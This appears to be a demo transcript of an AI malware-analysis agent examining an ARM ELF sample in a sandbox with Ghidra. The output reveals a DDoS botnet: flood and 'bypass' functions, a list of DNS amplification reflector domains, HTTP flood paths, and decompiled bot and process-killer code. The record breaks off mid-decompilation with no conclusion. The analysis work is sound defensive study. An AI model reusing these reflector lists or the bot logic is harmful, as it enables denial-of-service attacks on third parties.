View More Demos
9e8578e408aa9855f1a2c3669bd45bdd2884ac0163be1ff15bb4a97e5cda864e.elf

Is this binary malicious

Dr.Binary

Function ghidra_open_server called with arguments: {"filepath": "/sandbox/9e8578e408aa9855f1a2c3669bd45bdd2884ac0163be1ff15bb4a97e5cda864e.elf"}

Tool result
[
  {
    "type": "text",
    "text": "Success"
  }
]

Function sandbox_execute called with arguments: {"command": "file /sandbox/9e8578e408aa9855f1a2c3669bd45bdd2884ac0163be1ff15bb4a97e5cda864e.elf && sha256sum /sandbox/9e8578e408aa9855f1a2c3669bd45bdd2884ac0163be1ff15bb4a97e5cda864e.elf"}

Tool result
[
  {
    "type": "text",
    "text": "{\"exitCode\": 0, \"stdout\": \"/sandbox/9e8578e408aa9855f1a2c3669bd45bdd2884ac0163be1ff15bb4a97e5cda864e.elf: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped\\n9e8578e408aa9855f1a2c3669bd45bdd2884ac0163be1ff15bb4a97e5cda864e  /sandbox/9e8578e408aa9855f1a2c3669bd45bdd2884ac0163be1ff15bb4a97e5cda864e.elf\\n\", \"stderr\": \"\"}"
  }
]

Function ghidra_list_methods called with arguments: {"filepath": "/sandbox/9e8578e408aa9855f1a2c3669bd45bdd2884ac0163be1ff15bb4a97e5cda864e.elf", "limit": 100}

Tool result
[
  {
    "type": "text",
    "text": "_init @ 000080d4"
  },
  {
    "type": "text",
    "text": "_call_via_r0 @ 000080f0"
  },
  {
    "type": "text",
    "text": "_call_via_r1 @ 000080f4"
  },
  {
    "type": "text",
    "text": "_call_via_r2 @ 000080f8"
  },
  {
    "type": "text",
    "text": "_call_via_r3 @ 000080fc"
  },
  {
    "type": "text",
    "text": "_call_via_r4 @ 00008100"
  },
  {
    "type": "text",
    "text": "_call_via_r5 @ 00008104"
  },
  {
    "type": "text",
    "text": "_call_via_r6 @ 00008108"
  },
  {
    "type": "text",
    "text": "_call_via_r7 @ 0000810c"
  },
  {
    "type": "text",
    "text": "_call_via_r8 @ 00008110"
  },
  {
    "type": "text",
    "text": "_call_via_r9 @ 00008114"
  },
  {
    "type": "text",
    "text": "_call_via_sl @ 00008118"
  },
  {
    "type": "text",
    "text": "_call_via_fp @ 0000811c"
  },
  {
    "type": "text",
    "text": "_call_via_ip @ 00008120"
  },
  {
    "type": "text",
    "text": "_call_via_sp @ 00008124"
  },
  {
    "type": "text",
    "text": "_call_via_lr @ 00008128"
  },
  {
    "type": "text",
    "text": "__do_global_dtors_aux @ 0000812c"
  },
  {
    "type": "text",
    "text": "frame_dummy @ 00008170"
  },
  {
    "type": "text",
    "text": "_start @ 000081d0"
  },
  {
    "type": "text",
    "text": "checksum_generic @ 0000820c"
  },
  {
    "type": "text",
    "text": "checksum_tcp_udp @ 000082e4"
  },
  {
    "type": "text",
    "text": "checksum_tcpudp @ 0000848c"
  },
  {
    "type": "text",
    "text": "custom_rand @ 00008634"
  },
  {
    "type": "text",
    "text": "killer_handle_signal @ 000086b4"
  },
  {
    "type": "text",
    "text": "generate_whitelist @ 000086d0"
  },
  {
    "type": "text",
    "text": "generate_whitelist_paths @ 000087e4"
  },
  {
    "type": "text",
    "text": "is_whitelisted @ 000088b8"
  },
  {
    "type": "text",
    "text": "execute_xor_commands @ 00008cf4"
  },
  {
    "type": "text",
    "text": "kill_process @ 00008ebc"
  },
  {
    "type": "text",
    "text": "process_killer_loop @ 0000907c"
  },
  {
    "type": "text",
    "text": "watchdog_maintain @ 0000948c"
  },
  {
    "type": "text",
    "text": "trim @ 000095d8"
  },
  {
    "type": "text",
    "text": "rand_alphastr @ 00009730"
  },
  {
    "type": "text",
    "text": "printchar @ 0000984c"
  },
  {
    "type": "text",
    "text": "prints @ 000098bc"
  },
  {
    "type": "text",
    "text": "printi @ 00009a44"
  },
  {
    "type": "text",
    "text": "print @ 00009c30"
  },
  {
    "type": "text",
    "text": "zprintf @ 0000a024"
  },
  {
    "type": "text",
    "text": "szprintf @ 0000a068"
  },
  {
    "type": "text",
    "text": "sockprintf @ 0000a0b0"
  },
  {
    "type": "text",
    "text": "fdpopen @ 0000a1e4"
  },
  {
    "type": "text",
    "text": "fdpclose @ 0000a46c"
  },
  {
    "type": "text",
    "text": "fdgets @ 0000a5f4"
  },
  {
    "type": "text",
    "text": "parseHex @ 0000a6c8"
  },
  {
    "type": "text",
    "text": "wildString @ 0000a74c"
  },
  {
    "type": "text",
    "text": "getHost @ 0000a8f8"
  },
  {
    "type": "text",
    "text": "uppercase @ 0000a960"
  },
  {
    "type": "text",
    "text": "makeRandomStr @ 0000a9c0"
  },
  {
    "type": "text",
    "text": "recvLine @ 0000aa80"
  },
  {
    "type": "text",
    "text": "connectTimeout @ 0000ad68"
  },
  {
    "type": "text",
    "text": "listFork @ 0000afdc"
  },
  {
    "type": "text",
    "text": "findRandIP @ 0000b184"
  },
  {
    "type": "text",
    "text": "csum @ 0000b1ec"
  },
  {
    "type": "text",
    "text": "tcpcsum @ 0000b340"
  },
  {
    "type": "text",
    "text": "makeIPPacket @ 0000b414"
  },
  {
    "type": "text",
    "text": "udpfl00d @ 0000b514"
  },
  {
    "type": "text",
    "text": "tcpFl00d @ 0000bb4c"
  },
  {
    "type": "text",
    "text": "rtcp @ 0000c214"
  },
  {
    "type": "text",
    "text": "generate_random_string @ 0000c714"
  },
  {
    "type": "text",
    "text": "SendSTD @ 0000c878"
  },
  {
    "type": "text",
    "text": "DNS @ 0000ca64"
  },
  {
    "type": "text",
    "text": "dns_flood @ 0000d1f8"
  },
  {
    "type": "text",
    "text": "makevsepacket @ 0000d238"
  },
  {
    "type": "text",
    "text": "vseattack @ 0000d36c"
  },
  {
    "type": "text",
    "text": "acnc @ 0000da0c"
  },
  {
    "type": "text",
    "text": "simple_rand_bytes @ 0000dadc"
  },
  {
    "type": "text",
    "text": "sendJUNK @ 0000dbac"
  },
  {
    "type": "text",
    "text": "generate_random_string_http @ 0000e094"
  },
  {
    "type": "text",
    "text": "generate_cf_ray_http @ 0000e1a8"
  },
  {
    "type": "text",
    "text": "calculate_optimal_power @ 0000e314"
  },
  {
    "type": "text",
    "text": "https_request @ 0000e3dc"
  },
  {
    "type": "text",
    "text": "httphex @ 0000e5cc"
  },
  {
    "type": "text",
    "text": "http_flood_main @ 0000ee44"
  },
  {
    "type": "text",
    "text": "ovh_bypass_syn @ 0000eed8"
  },
  {
    "type": "text",
    "text": "minecraft_bypass @ 0000f2d8"
  },
  {
    "type": "text",
    "text": "r6_bypass @ 0000f4b4"
  },
  {
    "type": "text",
    "text": "steam_bypass @ 0000f698"
  },
  {
    "type": "text",
    "text": "stopAttacks @ 0000f824"
  },
  {
    "type": "text",
    "text": "remove_self @ 0000f9a4"
  },
  {
    "type": "text",
    "text": "cleanup_system @ 0000facc"
  },
  {
    "type": "text",
    "text": "kill_process_tree @ 0000fb68"
  },
  {
    "type": "text",
    "text": "processCmd @ 0000fbbc"
  },
  {
    "type": "text",
    "text": "initConnection @ 00011bc8"
  },
  {
    "type": "text",
    "text": "getOurIP @ 00011e50"
  },
  {
    "type": "text",
    "text": "getArch @ 00012108"
  },
  {
    "type": "text",
    "text": "ensure_single_instance @ 00012910"
  },
  {
    "type": "text",
    "text": "checkCommands @ 00012ab0"
  },
  {
    "type": "text",
    "text": "main @ 0001301c"
  },
  {
    "type": "text",
    "text": "rand_init @ 00013358"
  },
  {
    "type": "text",
    "text": "rand_next @ 000133ec"
  },
  {
    "type": "text",
    "text": "init_rand @ 000134c0"
  },
  {
    "type": "text",
    "text": "rand_cmwc @ 00013598"
  },
  {
    "type": "text",
    "text": "rand__str @ 000136dc"
  },
  {
    "type": "text",
    "text": "rand_alpha_str @ 000137b4"
  },
  {
    "type": "text",
    "text": "resolv_domain_to_hostname @ 00013864"
  },
  {
    "type": "text",
    "text": "resolv_skip_name @ 00013970"
  },
  {
    "type": "text",
    "text": "resolv_lookup @ 00013a5c"
  },
  {
    "type": "text",
    "text": "resolv_entries_free @ 000142b0"
  },
  {
    "type": "text",
    "text": "table_init @ 00014304"
  },
  {
    "type": "text",
    "text": "table_unlock_val @ 00014420"
  }
]
_

Function ghidra_list_imports called with arguments: {"filepath": "/sandbox/9e8578e408aa9855f1a2c3669bd45bdd2884ac0163be1ff15bb4a97e5cda864e.elf"}

Tool result
[
  {
    "type": "text",
    "text": "__cxa_call_unexpected -> EXTERNAL:00000001"
  },
  {
    "type": "text",
    "text": "EXT_FUN_ffff0fe0 -> EXTERNAL:00000002"
  }
]

Function ghidra_list_strings called with arguments: {"filepath": "/sandbox/9e8578e408aa9855f1a2c3669bd45bdd2884ac0163be1ff15bb4a97e5cda864e.elf", "limit": 100}

Tool result
[
  {
    "type": "text",
    "text": "000253d0: \"Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.3\""
  },
  {
    "type": "text",
    "text": "00025440: \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.\""
  },
  {
    "type": "text",
    "text": "000254cc: \"Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/27.0 Chrome/125.0.0.0 Mobile Safari/537.3\""
  },
  {
    "type": "text",
    "text": "00025550: \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) GSA/346.1.704810410 Mobile/15E148 Safari/604.\""
  },
  {
    "type": "text",
    "text": "000255e0: \"Mozilla/5.0 (iPhone; CPU iPhone OS 17_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Mobile/15E148 Safari/604.\""
  },
  {
    "type": "text",
    "text": "0002566c: \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/131.0.6778.134 Mobile/15E148 Safari/604.\""
  },
  {
    "type": "text",
    "text": "00025700: \"Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36 OPR/86.0.0.\""
  },
  {
    "type": "text",
    "text": "0002577c: \"Mozilla/5.0 (Linux; Android 11; moto e20 Build/RONS31.267-94-14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.135 Mobile Safari/537.3\""
  },
  {
    "type": "text",
    "text": "00025810: \"Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.3\""
  },
  {
    "type": "text",
    "text": "00025880: \"Mozilla/5.0 (Android 13; Mobile; rv:133.0) Gecko/133.0 Firefox/133.\""
  },
  {
    "type": "text",
    "text": "000258c4: \"Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Mobile/15E148 Safari/604.\""
  },
  {
    "type": "text",
    "text": "00025950: \"Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.\""
  },
  {
    "type": "text",
    "text": "000259dc: \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Mobile/15E148 Safari/604.\""
  },
  {
    "type": "text",
    "text": "00025a64: \"Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Mobile Safari/537.3\""
  },
  {
    "type": "text",
    "text": "00025ad4: \"Mozilla/5.0 (Linux; arm_64; Android 15; 24030PN60G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.98 YaBrowser/24.12.1.98.00 SA/3 Mobile Safari/537.3\""
  },
  {
    "type": "text",
    "text": "00025b78: \"Mozilla/5.0 (Linux; Android 13; M2103K19G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.3\""
  },
  {
    "type": "text",
    "text": "00025bf0: \"Mozilla/5.0 (Linux; Android 12; 220733SG Build/SP1A.210812.016) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.135 Mobile Safari/537.3\""
  },
  {
    "type": "text",
    "text": "00025c84: \"Mozilla/5.0 (Linux; Android 11; moto e20 Build/RONS31.267-94-14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.105 Mobile Safari/537.3\""
  },
  {
    "type": "text",
    "text": "00025d18: \"Mozilla/5.0 (Linux; Android 10; SAMSUNG SM-G980F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/22.0 Chrome/111.0.5563.116 Mobile Safari/537.3\""
  },
  {
    "type": "text",
    "text": "00025db0: \"Mozilla/5.0 (Linux; Android 10; NEN-LX1 Build/HUAWEINEN-LX1; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.105 Mobile Safari/537.36 HuaweiBrowser/15.0.4.312 HMSCore/6.14.0.32\""
  },
  {
    "type": "text",
    "text": "00025e70: \"Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/25.0 Chrome/121.0.0.0 Mobile Safari/537.3\""
  },
  {
    "type": "text",
    "text": "00025ef4: \"Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Mobile Safari/537.3\""
  },
  {
    "type": "text",
    "text": "00025f64: \"Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.3\""
  },
  {
    "type": "text",
    "text": "00025fd4: \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.1\""
  },
  {
    "type": "text",
    "text": "0002604c: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3\""
  },
  {
    "type": "text",
    "text": "000260bc: \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.3\""
  },
  {
    "type": "text",
    "text": "00026134: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.\""
  },
  {
    "type": "text",
    "text": "00026184: \"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.\""
  },
  {
    "type": "text",
    "text": "000261d4: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.\""
  },
  {
    "type": "text",
    "text": "00026254: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Herring/97.1.8280.8\""
  },
  {
    "type": "text",
    "text": "000262d8: \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3\""
  },
  {
    "type": "text",
    "text": "00026340: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 OPR/115.0.0.\""
  },
  {
    "type": "text",
    "text": "000263c0: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 AtContent/95.5.5462.5\""
  },
  {
    "type": "text",
    "text": "00026448: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.1958\""
  },
  {
    "type": "text",
    "text": "000264cc: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3\""
  },
  {
    "type": "text",
    "text": "0002653c: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.\""
  },
  {
    "type": "text",
    "text": "000265bc: \"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\""
  },
  {
    "type": "text",
    "text": "00026608: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0\""
  },
  {
    "type": "text",
    "text": "0002671c: \"/proc/%d/exe\""
  },
  {
    "type": "text",
    "text": "000267ec: \"libexec/\""
  },
  {
    "type": "text",
    "text": "00026908: \"/proc/%d/mem\""
  },
  {
    "type": "text",
    "text": "00026918: \"/sys/fs/cgroup/memory/kill_%d\""
  },
  {
    "type": "text",
    "text": "00026938: \"%s%s%s\""
  },
  {
    "type": "text",
    "text": "00026944: \"(null)\""
  },
  {
    "type": "text",
    "text": "0002694c: \"/bin/sh\""
  },
  {
    "type": "text",
    "text": "00026d78: \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_=+[]{}|;:,.<>?/`~\""
  },
  {
    "type": "text",
    "text": "00026dd4: \"Socket creation failed\""
  },
  {
    "type": "text",
    "text": "00026dec: \"gethostbyname failed\""
  },
  {
    "type": "text",
    "text": "00026e04: \"sendto failed\""
  },
  {
    "type": "text",
    "text": "00026e14: \"any.isc.org\""
  },
  {
    "type": "text",
    "text": "00026e20: \"any.cdn77.com\""
  },
  {
    "type": "text",
    "text": "00026e30: \"any.awsdns-00.org\""
  },
  {
    "type": "text",
    "text": "00026e44: \"any.cloudflare-dnssec.net\""
  },
  {
    "type": "text",
    "text": "00026e60: \"any.ultradns.biz\""
  },
  {
    "type": "text",
    "text": "00026e74: \"dnssec.ripe.net\""
  },
  {
    "type": "text",
    "text": "00026e84: \"dnssec-failed.org\""
  },
  {
    "type": "text",
    "text": "00026e98: \"root-dnssec.net\""
  },
  {
    "type": "text",
    "text": "00026ea8: \"large-dns.akamai.com\""
  },
  {
    "type": "text",
    "text": "00026ec0: \"dns-bigresponse.cloudns.net\""
  },
  {
    "type": "text",
    "text": "00026edc: \"large.txt.research.umbrella.com\""
  },
  {
    "type": "text",
    "text": "00026efc: \"bigtxt.dns-oarc.net\""
  },
  {
    "type": "text",
    "text": "00026f10: \"ipv6.ripe.net\""
  },
  {
    "type": "text",
    "text": "00026f20: \"aaaa.nasa.gov\""
  },
  {
    "type": "text",
    "text": "00026f30: \"ipv6.google.com\""
  },
  {
    "type": "text",
    "text": "00026f40: \"ipv6.research.ix.ru\""
  },
  {
    "type": "text",
    "text": "00026f54: \"ipv6.6bone.net\""
  },
  {
    "type": "text",
    "text": "00026f64: \"root-servers.net\""
  },
  {
    "type": "text",
    "text": "00026f78: \"dnssec.icann.org\""
  },
  {
    "type": "text",
    "text": "00026f8c: \"dnssec-root.iana.org\""
  },
  {
    "type": "text",
    "text": "00026fa4: \"k.root-servers.net\""
  },
  {
    "type": "text",
    "text": "00026fb8: \"dnssec-failover.cloudflare.com\""
  },
  {
    "type": "text",
    "text": "00026fd8: \"any.dns.oracle.com\""
  },
  {
    "type": "text",
    "text": "00026fec: \"any.dns.akamai-edge.net\""
  },
  {
    "type": "text",
    "text": "00027004: \"any.microsoft-dns.com\""
  },
  {
    "type": "text",
    "text": "0002701c: \"any.ultradns-geo.org\""
  },
  {
    "type": "text",
    "text": "00027034: \"any.edgecastcdn.net\""
  },
  {
    "type": "text",
    "text": "00027048: \"large.spf.trusteddomain.org\""
  },
  {
    "type": "text",
    "text": "00027064: \"dkim20._domainkey.godaddy.com\""
  },
  {
    "type": "text",
    "text": "00027084: \"txt.awsdns-hostedzone-info.com\""
  },
  {
    "type": "text",
    "text": "000270a4: \"all._spf.mimecast.com\""
  },
  {
    "type": "text",
    "text": "000270bc: \"many-rrs.weberdns.de\""
  },
  {
    "type": "text",
    "text": "000270d4: \"TSource Engine Query+TSource Engine Query+TSource Engine QueryTSource Engine QueryTSource Engine Query\""
  },
  {
    "type": "text",
    "text": "0002713c: \"TSource Engine Query+TSource Engine QueryTSource Engine QueryTSource Engine QueryTSource Engine Query+TSource Engine QueryTSource Engine QueryTSource Engine QueryTSource Engine QueryTSource Engine QueryTSource Engine Query\""
  },
  {
    "type": "text",
    "text": "0002721c: \"/dev/urandom\""
  },
  {
    "type": "text",
    "text": "0002722c: \"socket\""
  },
  {
    "type": "text",
    "text": "00027234: \"inet_addr\""
  },
  {
    "type": "text",
    "text": "00027240: \"sendto\""
  },
  {
    "type": "text",
    "text": "00027248: \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\""
  },
  {
    "type": "text",
    "text": "00027288: \"0123456789abcdef\""
  },
  {
    "type": "text",
    "text": "000272a4: \"%s %s HTTP/1.1\\r\\nHost: %s\\r\\nUser-Agent: %s\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nConnection: close\\r\\nCache-Control: no-cache\\r\\n\\r\\n\""
  },
  {
    "type": "text",
    "text": "00027330: \"/api/v1/users\""
  },
  {
    "type": "text",
    "text": "00027340: \"/api/v2/users\""
  },
  {
    "type": "text",
    "text": "00027350: \"/api/v1/posts\""
  },
  {
    "type": "text",
    "text": "00027360: \"/api/v1/products\""
  },
  {
    "type": "text",
    "text": "00027374: \"/api/graphql\""
  },
  {
    "type": "text",
    "text": "00027384: \"/graphql\""
  },
  {
    "type": "text",
    "text": "000273a8: \"/cdn-cgi/l/chk_captcha\""
  },
  {
    "type": "text",
    "text": "000273c0: \"/cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1\""
  },
  {
    "type": "text",
    "text": "000273f8: \"/_nuxt/\""
  },
  {
    "type": "text",
    "text": "00027400: \"/_next/\""
  }
]
_`

Function ghidra_decompile_function called with arguments: {"filepath": "/sandbox/9e8578e408aa9855f1a2c3669bd45bdd2884ac0163be1ff15bb4a97e5cda864e.elf", "name_or_address": "main"}

Tool result
[
  {
    "type": "text",
    "text": "\nvoid main(void)\n\n{\n  int iVar1;\n  undefined4 uVar2;\n  __uid_t _Var3;\n  uint uVar4;\n  uint uVar5;\n  __pid_t _Var6;\n  int iVar7;\n  int local_40;\n  size_t local_3c;\n  int iStack_38;\n  char acStack_34 [8];\n  char *local_2c;\n  __pid_t local_28;\n  __pid_t local_24;\n  void *local_1c;\n  \n  ensure_single_instance();\n  local_2c = (char *)DAT_00013328;\n  iVar1 = access(DAT_0001332c,0);\n  if (iVar1 == -1) {\n    uVar2 = xor_string(DAT_00013338,0xebf9ca2d);\n    snprintf(acStack_34,8,DAT_00013334,uVar2);\n  }\n  else {\n    uVar2 = xor_string(DAT_00013330,0xebf9ca2d);\n    snprintf(acStack_34,8,DAT_00013334,uVar2);\n  }\n  local_2c = acStack_34;\n  _Var3 = geteuid();\n  if (_Var3 == 0) {\n    *DAT_0001333c = 0;\n  }\n  prctl(0xf,local_2c,0,0,0);\n  uVar4 = time((time_t *)0x0);\n  uVar5 = getpid();\n  srandom(uVar4 ^ uVar5);\n  uVar4 = time((time_t *)0x0);\n  uVar5 = getpid();\n  init_rand(uVar4 ^ uVar5);\n  getOurIP();\n  table_init();\n  local_3c = 0;\n  table_unlock_val(3);\n  local_1c = (void *)table_retrieve_val(3,&local_3c);\n  write(1,local_1c,local_3c);\n  write(1,DAT_00013340,1);\n  table_lock_val(3);\n  _Var6 = setsid();\n  *DAT_00013344 = _Var6;\n  chdir(DAT_00013348);\n  _Var6 = fork();\n  *DAT_0001334c = _Var6;\n  if (*DAT_0001334c == 0) {\n    process_killer_loop();\n                    /* WARNING: Subroutine does not return */\n    exit(0);\n  }\n  watchdog_maintain();\n  local_28 = fork();\n  if (local_28 != 0) {\n    waitpid(local_28,&iStack_38,0);\n                    /* WARNING: Subroutine does not return */\n    exit(0);\n  }\n  local_24 = fork();\n  if (local_24 == 0) {\n    signal(0xd,(__sighandler_t)0x1);\n    local_40 = 0;\n    while (*DAT_00013350 != 1) {\n      iVar7 = initConnection(&local_40);\n      iVar1 = local_40;\n      if (iVar7 == 0) {\n        uVar2 = getArch();\n        sockprintf(iVar1,DAT_00013354,uVar2);\n        checkCommands(local_40);\n        usleep(100000);\n      }\n      else {\n        sleep(5);\n      }\n    }\n    if (0 < *DAT_0001334c) {\n      kill(*DAT_0001334c,9);\n    }\n    if (0 < local_40) {\n      close(local_40);\n    }\n    killpg(0,9);\n                    /* WARNING: Subroutine does not return */\n    _exit(0);\n  }\n                    /* WARNING: Subroutine does not return */\n  exit(0);\n}\n\n"
  }
]
*_

Function ghidra_decompile_function called with arguments: {"filepath": "/sandbox/9e8578e408aa9855f1a2c3669bd45bdd2884ac0163be1ff15bb4a97e5cda864e.elf", "name_or_address": "process_killer_loop"}

Tool result
[
  {
    "type": "text",
    "text": "\nvoid process_killer_loop(void)\n\n{\n  char *pcVar1;\n  __pid_t _Var2;\n  undefined4 uVar3;\n  undefined4 uVar4;\n  int iVar5;\n  undefined1 auStack_4090 [2048];\n  undefined1 auStack_3890 [2048];\n  stat sStack_3090;\n  int iStack_3038;\n  char acStack_3034 [4096];\n  char acStack_2034 [4096];\n  char acStack_1034 [4096];\n  DIR *local_34;\n  dirent *local_30;\n  FILE *local_2c;\n  int local_28;\n  __pid_t local_24;\n  int local_20;\n  int local_1c;\n  \n  signal(2,DAT_0000947c);\n  signal(0xf,DAT_0000947c);\n  memset(auStack_3890,0,0x800);\n  memset(auStack_4090,0,0x800);\n  generate_whitelist(auStack_3890);\n  generate_whitelist_paths(auStack_4090);\n  while( true ) {\n    local_24 = getppid();\n    if (local_24 == 1) break;\n    table_unlock_val(4);\n    pcVar1 = (char *)table_retrieve_val(4,0);\n    local_34 = opendir(pcVar1);\n    if (local_34 == (DIR *)0x0) {\n      sleep(5);\n      table_lock_val(4);\n    }\n    else {\n      table_lock_val(4);\n      while( true ) {\n        local_30 = readdir(local_34);\n        if (local_30 == (dirent *)0x0) break;\n        local_28 = atoi(local_30->d_name);\n        _Var2 = getpid();\n        if (((_Var2 != local_28) && (_Var2 = getppid(), _Var2 != local_28)) && (10 < local_28)) {\n          table_unlock_val(4);\n          table_unlock_val(8);\n          uVar3 = table_retrieve_val(4,0);\n          pcVar1 = local_30->d_name;\n          uVar4 = table_retrieve_val(8,0);\n          snprintf(acStack_1034,0x1000,DAT_00009480,uVar3,pcVar1,uVar4);\n          table_lock_val(8);\n          iVar5 = stat(acStack_1034,&sStack_3090);\n          if (iVar5 == 0) {\n            time(&iStack_3038);\n            iVar5 = iStack_3038 - sStack_3090.st_ctim.tv_sec;\n            local_20 = ((int)((ulonglong)((longlong)iVar5 * (longlong)DAT_00009484) >> 0x20) + iVar5\n                       >> 0x10) - (iVar5 >> 0x1f);\n            if (local_20 < 0x65) {\n              table_unlock_val(5);\n              uVar3 = table_retrieve_val(4,0);\n              pcVar1 = local_30->d_name;\n              uVar4 = table_retrieve_val(5,0);\n              snprintf(acStack_2034,0x1000,DAT_00009480,uVar3,pcVar1,uVar4);\n              table_lock_val(5);\n              table_unlock_val(9);\n              uVar3 = table_retrieve_val(4,0);\n              pcVar1 = local_30->d_name;\n              uVar4 = table_retrieve_val(9,0);\n              snprintf(acStack_3034,0x1000,DAT_00009480,uVar3,pcVar1,uVar4);\n              table_lock_val(9);\n              local_2c = fopen(acStack_1034,DAT_00009488);\n              if (local_2c != (FILE *)0x0) {\n                pcVar1 = fgets(acStack_3034,0x1000,local_2c);\n                if (pcVar1 != (char *)0x0) {\n                  local_1c = is_whitelisted(acStack_3034,acStack_2034,auStack_3890,auStack_4090);\n                  if (local_1c == 0) {\n                    kill_process(local_28);\n                  }\n                }\n                fclose(local_2c);\n              }\n            }\n          }\n        }\n      }\n      closedir(local_34);\n      execute_xor_commands();\n      sleep(5);\n    }\n  }\n                    /* WARNING: Subroutine does not return */\n  exit(0);\n}\n\n"
  }
]
*_

Function ghidra_decompile_function called with arguments: {"filepath": "/sandbox/9e8578e408aa9855f1a2c3669bd45bdd2884ac0163be1ff15bb4a97e5cda864e.elf", "name_or_address": "udpfl00d"}

Tool result
[
  {
    "type": "text",
    "text": "Decompilation succeeded, and the artifact is saved at /sandbox/ghidra/decompiled_0xb514.txt. Please find the table of contents below. \n[{'funcName': 'rand_cmwc', 'lineNum': 47}, {'funcName': 'htons', 'lineNum': 50}, {'funcName': 'getHost', 'lineNum': 52}, {'funcName': 'memset', 'lineNum': 54}, {'funcName': 'socket', 'lineNum': 57}, {'funcName': 'malloc', 'lineNum': 58}, {'funcName': 'memset', 'lineNum': 59}, {'funcName': 'makeRandomStr', 'lineNum': 60}, {'funcName': 'time', 'lineNum': 61}, {'funcName': 'sendto', 'lineNum': 66}, {'funcName': 'usleep', 'lineNum': 69}, {'funcName': 'rand_cmwc', 'lineNum': 77}, {'funcName': 'time', 'lineNum': 79}, {'funcName': 'socket', 'lineNum': 87}, {'funcName': 'setsockopt', 'lineNum': 90}, {'funcName': 'time', 'lineNum': 94}, {'funcName': 'rand_cmwc', 'lineNum': 95}, {'funcName': 'srandom', 'lineNum': 96}, {'funcName': 'rand', 'lineNum': 97}, {'funcName': 'init_rand', 'lineNum': 98}, {'funcName': 'findRandIP', 'lineNum': 112}, {'funcName': 'htonl', 'lineNum': 113}, {'funcName': 'makeIPPacket', 'lineNum': 115}, 